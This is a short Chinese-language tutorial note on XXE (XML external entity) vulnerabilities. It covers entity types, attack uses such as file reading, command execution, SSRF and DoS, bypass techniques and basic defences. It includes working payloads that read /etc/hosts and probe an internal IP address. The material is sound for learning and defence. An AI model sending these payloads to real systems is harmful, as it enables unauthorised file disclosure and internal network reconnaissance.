XML:
可扩展标记语言,用于存储和传递数据,类似html;XML和JSON 是现今互联网中最常用的两种数据交换格式。
php解析XML函数:
simplexml_load_string() SimplexmlElement()
xml实体字符
或者 &#字符编码
DTD实体
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">
外部参数实体:
<!ENTITY % 实体名称 SYSTEM "URI">
XXE攻击
原理:
在解析xml时,没有禁止外部实体的加载,导致出现任意文件读取,命令执行,ssrf,dos攻击
触发点:
可以上传和解析xml和json数据的地方,没有对xml数据进行过滤,导致漏洞
利用方式:
-
文件读取
-
命令执行
-
SSRF
-
Dos攻击
文件读取
file://协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<note>
<heading>&file;</heading>
</note>
命令执行
expect:// 协议
为了使用 expect:// 封装器,必须安装 » PECL 上的 » Expect 扩展
SSRF
通过回显时间和内容判断端口和内网ip(burp抓包爆破ip和端口)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "http://10.211.55.5:80">
]>
<note>
<info>&xxe;</info>
</note>
XXE blind盲打
适用外带通道读取数据
XXE绕过
- 大小写绕过
- 实体编码
- 远程DTD
- data协议编码
XXE漏洞查找
服务端接受数据类型为json或xml,可以尝试
Content-Type: application/xml
Content-Type: application/json
XXE的防御
- 配置禁止外部实体的加载
- 黑名单过滤用户提交的xml数据